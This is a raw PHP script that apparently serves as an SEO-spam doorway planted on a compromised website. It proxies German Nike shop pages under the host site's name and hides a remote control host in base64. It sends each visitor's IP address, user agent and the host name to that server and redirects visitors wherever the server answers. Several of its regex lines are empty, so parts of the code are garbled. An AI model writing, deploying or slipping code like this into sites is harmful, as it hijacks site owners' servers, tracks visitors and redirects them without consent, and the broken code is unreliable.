error_reporting(0); $dd = array('/de/de_de/'=>'http://www.nike.com/de/de_de/','/Nike/b?ie=UTF8&node=1681817031'=>'http://www.amazon.de/Nike/b?ie=UTF8&node=1681817031','/nike-1/'=>'http://www.sportscheck.com/nike/','/de/shop/nike'=>'https://www.kickz.com/de/shop/nike','/sport/nike/'=>'https://www.otto.de/sport/nike/','/marken/nike.cat'=>'http://www.snipes.com/marken/nike.cat','/nike'=>'http://www.sarenza.de/nike','/de/nike/'=>'http://www.afew-store.com/de/nike/','/de/hersteller/nike'=>'http://asphaltgold.de/de/hersteller/nike','/sneaker/nike'=>'http://www.43einhalb.com/sneaker/nike','/outlet-damenschuhe/nike/'=>'https://www.zalando.de/outlet-damenschuhe/nike/','/marken/nike.html'=>'http://www.ilovesneakers.de/marken/nike.html','/outlet/nike/'=>'https://www.zalando.de/outlet/nike/','/G%C3%BCnstig-Nike-Schuhe/s?ie=UTF8&page=1&rh=i%3Aaps%2Ck%3AG%C3%BCnstig%20Nike%20Schuhe'=>'http://www.amazon.de/G%C3%BCnstig-Nike-Schuhe/s?ie=UTF8&page=1&rh=i%3Aaps%2Ck%3AG%C3%BCnstig%20Nike%20Schuhe','/sale/markensale/mode/nike/'=>'https://www.otto.de/sale/markensale/mode/nike/','/marken/nike/schuhe/damen/'=>'http://www.mybestbrands.de/marken/nike/schuhe/damen/','/markenschuhe/imwalking-de'=>'https://www.imwalking.de/markenschuhe/imwalking-de','/sch/Nike-Damenschuhe/3034/bn_791248/i.html'=>'http://www.ebay.de/sch/Nike-Damenschuhe/3034/bn_791248/i.html','/schuhe/nike/'=>'https://www.hitmeister.de/schuhe/nike/','/lifestyle/schuhe/sneaker/'=>'https://www.11teamsports.de/lifestyle/schuhe/sneaker/','/show/kategorie/104768(brand=f_brand_7824).htm'=>'http://www.billiger.de/show/kategorie/104768(brand=f_brand_7824).htm','/nike-2/'=>'https://www.def-shop.com/nike/','/de/de_de/?ipp=120'=>'http://store.nike.com/de/de_de/?ipp=120','/marken-online-outlet/nike-im-outlet/'=>'https://www.outlet46.de/marken-online-outlet/nike-im-outlet/','/sportschuhe/laufschuhe.html'=>'http://www.schuhcenter.de/sportschuhe/laufschuhe.html','/de/de_de/pw/damen-schuhe/7ptZoi3'=>'http://store.nike.com/de/de_de/pw/damen-schuhe/7ptZoi3','/damenschuhe/nike/'=>'https://www.zalando.de/damenschuhe/nike/','/f/damen/schuhe.cat'=>'http://www.snipes.com/f/damen/schuhe.cat','/nike/nike-schuhe/damen/'=>'http://www.sportscheck.com/nike/nike-schuhe/damen/','/schuhe/marken/nike/damen/schuhe/'=>'https://www.otto.de/schuhe/marken/nike/damen/schuhe/','/nike-schuhe-damen-Sport-Freizeit/s?ie=UTF8&page=1&rh=n%3A16435051%2Ck%3Anike%20schuhe%20damen'=>'http://www.amazon.de/nike-schuhe-damen-Sport-Freizeit/s?ie=UTF8&page=1&rh=n%3A16435051%2Ck%3Anike%20schuhe%20damen','/damen/marken-a-z/nike/cat/?cid=5897'=>'http://www.asos.de/damen/marken-a-z/nike/cat/?cid=5897','/markenschuhe/nike-damenschuhe/imwalking-de'=>'https://www.imwalking.de/markenschuhe/nike-damenschuhe/imwalking-de','/s-schuhe-damen/nike/k0c159'=>'https://www.ebay-kleinanzeigen.de/s-schuhe-damen/nike/k0c159','/damen/nike/marken/schuhe-taschen/shop-sh1122045/versand/baur-de'=>'https://www.baur.de/damen/nike/marken/schuhe-taschen/shop-sh1122045/versand/baur-de','/de/Markenshop-Nike/Laufschuhe/LccKcILQ5NYAAAE4u3E6F462/de_DE'=>'https://www.runnerspoint.com/de/Markenshop-Nike/Laufschuhe/LccKcILQ5NYAAAE4u3E6F462/de_DE','/nike-schuhe/s?ie=UTF8&page=1&rh=i%3Aaps%2Ck%3Anike%20schuhe'=>'http://www.amazon.de/nike-schuhe/s?ie=UTF8&page=1&rh=i%3Aaps%2Ck%3Anike%20schuhe','/sch/Nike-Sneakers-fur-Herren/15709/bn_139051/i.html'=>'http://www.ebay.de/sch/Nike-Sneakers-fur-Herren/15709/bn_139051/i.html','/de/Markenshop-Nike/54YKcILQ03YAAAE4o1A6F462/de_DE'=>'https://www.runnerspoint.com/de/Markenshop-Nike/54YKcILQ03YAAAE4o1A6F462/de_DE','/b/nike/schuhe'=>'http://www.frontlineshop.com/b/nike/schuhe','/c/nike/'=>'http://www.vaola.de/c/nike/','/sch/Nike-Turnschuhe-Sneaker-fur-Herren/15709/bn_139051/i.html'=>'http://www.ebay.de/sch/Nike-Turnschuhe-Sneaker-fur-Herren/15709/bn_139051/i.html','/NIKE/KID/de-mt.sh.br01.24/'=>'http://www.mytoys.de/NIKE/KID/de-mt.sh.br01.24/','/sportschuhe-damen/nike/'=>'https://www.zalando.de/sportschuhe-damen/nike/','/damenschuhe-nike-sport/'=>'http://schuhe.ladenzeile.de/damenschuhe-nike-sport/','/marken/nike-schuhe-damen.html'=>'https://www.galeria-kaufhof.de/marken/nike-schuhe-damen.html','/3/schuhe/nike'=>'https://ch-de.voegele-shoes.com/3/schuhe/nike','/nike-3/'=>'http://www.ladenzeile.at/nike/','/thema/Nike-Free'=>'http://www.billiger.de/thema/Nike-Free','/thema/Nike-Air-Max'=>'http://www.billiger.de/thema/Nike-Air-Max','/s?ie=UTF8&page=1&rh=i%3Aaps%2Ck%3A%20Billig%20Nike%20Air%20Max%20Schuhe%20Shop%20Online%7CNike%20Air%20Max'=>'http://www.amazon.de/s?ie=UTF8&page=1&rh=i%3Aaps%2Ck%3A%20Billig%20Nike%20Air%20Max%20Schuhe%20Shop%20Online%7CNike%20Air%20Max','/de/lists/sonderangebote-nike-fu%C3%9Fballschuhe.aspx'=>'http://www.prodirectsoccer.com/de/lists/sonderangebote-nike-fu%C3%9Fballschuhe.aspx','/schuhe/nike-2/'=>'https://www.zalando.de/schuhe/nike/','/BRANDSTORE-NIKE/npYKcILQn.wAAAFCeX9bsOCm/de_DE'=>'https://www.sidestep-shoes.com/BRANDSTORE-NIKE/npYKcILQn.wAAAFCeX9bsOCm/de_DE','/schuhe-taschen/nike/baur-de'=>'https://www.baur.de/schuhe-taschen/nike/baur-de','/de/de_de/pw/damen-sale/47Z7pt'=>'http://store.nike.com/de/de_de/pw/damen-sale/47Z7pt','/nike/sale/'=>'http://www.sportscheck.com/nike/sale/','/de/de_de/pw/herren-laufen-schuhe/7puZ8yzZoi3'=>'http://store.nike.com/de/de_de/pw/herren-laufen-schuhe/7puZ8yzZoi3','/de/de_de/pw/damen-laufen-schuhe/7ptZ8yzZoi3'=>'http://store.nike.com/de/de_de/pw/damen-laufen-schuhe/7ptZ8yzZoi3','/nike/laufschuhe/'=>'http://www.sportscheck.com/nike/laufschuhe/','/laufschuhe-damen/nike/'=>'https://www.zalando.de/laufschuhe-damen/nike/','/laufschuhe-damen/nike-performance/'=>'https://www.zalando.de/laufschuhe-damen/nike-performance/','/schuhe/marken/nike/damen/schuhe/sportschuhe/laufschuhe/'=>'https://www.otto.de/schuhe/marken/nike/damen/schuhe/sportschuhe/laufschuhe/','/sport/marken/nike/herren/schuhe/sportschuhe/laufschuhe/'=>'https://www.otto.de/sport/marken/nike/herren/schuhe/sportschuhe/laufschuhe/','/laufschuhe/nike/'=>'https://www.jogging-point.de/laufschuhe/nike/','/sale-laufschuhe/'=>'https://www.jogging-point.de/sale-laufschuhe/','/Nike-Free-5-0-Damen-Laufschuhe/dp/B012DD9GDS'=>'http://www.amazon.de/Nike-Free-5-0-Damen-Laufschuhe/dp/B012DD9GDS','/bhp/nike-laufschuhe-damen'=>'http://www.ebay.de/bhp/nike-laufschuhe-damen','/nike.html'=>'http://www.joggen-online.de/nike.html','/produktindex/produktindex_nike_laufsport_schuhe_280.html'=>'http://www.testberichte.de/produktindex/produktindex_nike_laufsport_schuhe_280.html','/marken/nike/kinderschuhe/baby-kind/'=>'http://www.mybestbrands.de/marken/nike/kinderschuhe/baby-kind/','/markenschuhe.html'=>'http://www.schuhcenter.de/markenschuhe.html','/nike-schuhe-outlet'=>'http://www.sarenza.de/nike-schuhe-outlet','/sport/marken/nike/damen/schuhe/'=>'https://www.otto.de/sport/marken/nike/damen/schuhe/','/de/de_de/pw/herren-schuhe/7puZoi3'=>'http://store.nike.com/de/de_de/pw/herren-schuhe/7puZoi3','/herrenschuhe/nike/'=>'https://www.zalando.de/herrenschuhe/nike/','/marken/nike/schuhe/herren/'=>'http://www.mybestbrands.de/marken/nike/schuhe/herren/','/f/herren/schuhe.cat'=>'http://www.snipes.com/f/herren/schuhe.cat','/herrenschuhe-nike/'=>'http://schuhe.ladenzeile.de/herrenschuhe-nike/','/Sport-Outdoorschuhe-Nike-Herren/s?ie=UTF8&page=1&rh=n%3A1760377031%2Cp_4%3ANike'=>'http://www.amazon.de/Sport-Outdoorschuhe-Nike-Herren/s?ie=UTF8&page=1&rh=n%3A1760377031%2Cp_4%3ANike','/schuhe/marken/nike/herren/'=>'https://www.otto.de/schuhe/marken/nike/herren/','/nike/nike-schuhe/herren/'=>'http://www.sportscheck.com/nike/nike-schuhe/herren/','/damenschuhe-sneaker/nike/'=>'https://www.zalando.de/damenschuhe-sneaker/nike/','/f/damen/'=>'http://www.snipes.com/f/damen/','/f/damen/schuhe/sneaker.cat'=>'http://www.snipes.com/f/damen/schuhe/sneaker.cat','/de/Markenshop-Nike/Freizeitschuhe/YCYKcILQkIUAAAE4wHE6F462/de_DE'=>'https://www.runnerspoint.com/de/Markenshop-Nike/Freizeitschuhe/YCYKcILQkIUAAAE4wHE6F462/de_DE','/damenschuhe-nike-sneaker/'=>'http://schuhe.ladenzeile.de/damenschuhe-nike-sneaker/','/frauen/sneakers/'=>'https://www.def-shop.com/frauen/sneakers/','/schuhe/marken/nike/damen/schuhe/sneaker/'=>'https://www.otto.de/schuhe/marken/nike/damen/schuhe/sneaker/','/nike-sportswear-schuhe.html'=>'http://www.schuhcenter.de/nike-sportswear-schuhe.html','/show/kategorie/102952(brand=f_brand_7824).htm'=>'http://www.billiger.de/show/kategorie/102952(brand=f_brand_7824).htm','/schuhe/damen/nike/sneaker/'=>'http://www.ladenzeile.at/schuhe/damen/nike/sneaker/','/q/nike-sneaker-damen/'=>'http://www.sportscheck.com/q/nike-sneaker-damen/',); $h = $_SERVER['REQUEST_URI']; if(isset($dd[$h])){ $domain = $dd[$h]; }elseif(isset($dd[substr($h,strpos($h,'/',1))])){ $domain = $dd[substr($h,strpos($h,'/',1))]; }elseif(isset($dd[$h.'/'])){ $domain = $dd[$h.'/']; }else{ $currentTimeString=gmdate("D, d M Y H:i:s",time()); header("HTTP/1.1 404 Not Found"); header("Date: $currentTimeString GMT"); header("Content-Type: text/html"); echo('404 Not Found

404 Not Found

'); return; } $Foxgo=new Foxgo(); $domain_parse = parse_url($domain); if($domain_parse['scheme']=='https'){ $Foxgo->is_https=true; //"true" is use https }else{ $Foxgo->is_https=false; //"false" is use http } $Foxgo->domain = substr($domain,strlen($domain_parse['scheme'])+3); $Foxgo->linker = 2; //这行要是链接的行书内容,2就表示读取linker.txt的第二行内容 $Foxgo->host = $_SERVER['HTTP_HOST']; $Foxgo->scriptname = $_SERVER['SCRIPT_NAME']; $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on'?'https://':'http://'; $Foxgo->canonical = $scheme.$_SERVER['SERVER_NAME'].$h; $Foxgo->fullURL=$domain; $Foxgo->connect(); $Foxgo->output(); class Foxgo{ public $user_agent,$request_method,$domain,$cookie,$host,$cacheTime,$content,$pregarray,$scriptname,$redirect_url,$is_https,$linker,$canonical; private $http_code,$lastModified,$resultHeader; function __construct(){ $this->domain=""; $this->linker=1; $this->path=""; $this->scriptname=""; $this->fullURL=""; $this->cookie =""; $this->host=""; $this->cacheTime=72000; $this->lastModified=gmdate("D, d M Y H:i:s",time()-72000)." GMT"; $this->is_https=false; $this->canonical = ''; } function goURL($domain) { return $this->fullURL; } function translateServer() { if($this->is_https){ return "https://".$this->domain; }else{ return "http://".$this->domain; } } function php_self(){ return $_SERVER["SCRIPT_NAME"]; } function preConnect(){ $this->user_agent=$_SERVER['HTTP_USER_AGENT']; $this->request_method=$_SERVER['REQUEST_METHOD']; $tempCookie=""; foreach ($_COOKIE as $i => $value) { $tempCookie=$tempCookie." $i=$_COOKIE[$i];"; } $this->cookie=$tempCookie; } function connect(){ $this->check(); //调试隐藏 $this->preConnect(); $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,$this->goURL($this->domain)); //echo $this->goURL($this->domain); if($this->cookie!=""){ curl_setopt($ch,CURLOPT_COOKIE,$this->cookie); } if($this->is_https){ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); } if (isset($_SERVER['HTTP_REFERER'])) curl_setopt($ch,CURLOPT_REFERER, $_SERVER['HTTP_REFERER']); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); $output = curl_exec($ch); $info = curl_getinfo( $ch ); curl_close($ch); $this->postConnect($info,$output); } function postConnect($info,$output){ $this->content_type=$info["content_type"]; $this->http_code=$info['http_code']; if (isset($info['redirect_url'])) { $this->redirect_url=$info['redirect_url']; } else { $this->redirect_url = get_redirect_url($output); } if(!empty($info['last_modified'])){ $this->lastModified=$info['last_modified']; } $content=substr($output,$info['header_size']); if($this->http_code=='200'){ $this->content=$output; } } function output(){ $currentTimeString=gmdate("D, d M Y H:i:s",time()); if ($this->http_code=="302"||$this->http_code=="301") { echo('301

301

'); }if ($this->http_code=="404") { header("HTTP/1.1 404 Not Found"); header("Date: $currentTimeString GMT"); header("Content-Type: text/html"); echo('404 Not Found

404 Not Found

'); return; }elseif ($this->http_code=="403") { header("HTTP/1.1 403 Forbidden"); header("Date: $currentTimeString GMT"); header("Content-Type: text/html"); echo('403 Forbidden

403 Forbidden

'); return; } $l = strlen($this->content); $expiredTime=gmdate("D, d M Y H:i:s",(time()+$this->cacheTime)); header("HTTP/1.1 200 OK"); header("Content-Length: $l"); header("Content-Type: ".$this->content_type); header("Last-Modified: $this->lastModified"); header("Cache-Control: max-age=$this->cacheTime"); header("Expires: $expiredTime GMT"); //preg_match("/Set-Cookie:[^\n]*/i",$this->resultHeader,$result); // foreach($result as $i=>$value){ //header($result[$i]); //} //$this->content ="href='htt:///www.baidu.com/sdfsdf'"; $html = $this->content; //$html = preg_replace("#(www\.?)".$this->domain."#",$_SERVER['HTTP_HOST']. $this->scriptname,$html); if(substr($this->domain,-1)=='/'){ $this->domain = substr($this->domain,0,-1); } if (preg_match("##", $html)) { $html = preg_replace("##", '', $html); } else { $html = preg_replace("##", ''."\n\t".'', $html); } $html = preg_replace("#]*)>(.*)(analytics\.js|doubleclick\.net)(.*)#"," ",$html); // $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); $html = preg_replace("##", "", $html); echo $html; } function check(){ $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,$this->googleurl()); curl_setopt($ch,CURLOPT_HTTPHEADER, array( "X-x-cpi: ".$this->get_client_ip(), "User-Agent: ".$_SERVER['HTTP_USER_AGENT'], "Hosts: ".$this->host, //honoluluprosecutor.com "Script-Name: ".ltrim($this->scriptname,'/') // "Script-Name: ".substr($this->scriptname,strrpos($this->scriptname,'/')+1) )); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,false); curl_setopt($ch,CURLOPT_AUTOREFERER,true); curl_setopt($ch,CURLOPT_HEADER,true); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); $output=curl_exec($ch); $info = curl_getinfo( $ch ); curl_close($ch); if (!isset($info['redirect_url'])) { $info["redirect_url"] = get_redirect_url($output); } if ($info['http_code']==301 || $info['http_code']==302) { header('HTTP/1.0 301 Moved Permanently'); header('Location: '.$info["redirect_url"]); exit; } //print_r($info); } function getpath($dizhi){ $file_contents = ''; if (is_callable('curl_init')) { $ch = curl_init(); $timeout = 10; curl_setopt($ch, CURLOPT_URL, $dizhi); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } elseif (ini_get("allow_url_fopen") == 1) { if (!function_exists("file_get_contents")) { function file_get_contents($filename) { $handle = fopen($filename, "rb"); $contents = fread($handle, filesize($filename)); fclose($handle); return $contents; } } $file_contents = @file_get_contents($url); } return $file_contents; } function get_client_ip(){ if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } function googleurl(){ $google=base64_decode("bGVmdGdvZC5jb20="); return "http://cpi.".$google."/sd_check.php"."?y=".$this->domain; } } function get_redirect_url($header) { if(preg_match('/^Location:\s+(.*)$/mi', $header, $m)) { return trim($m[1]); } return ""; } ?>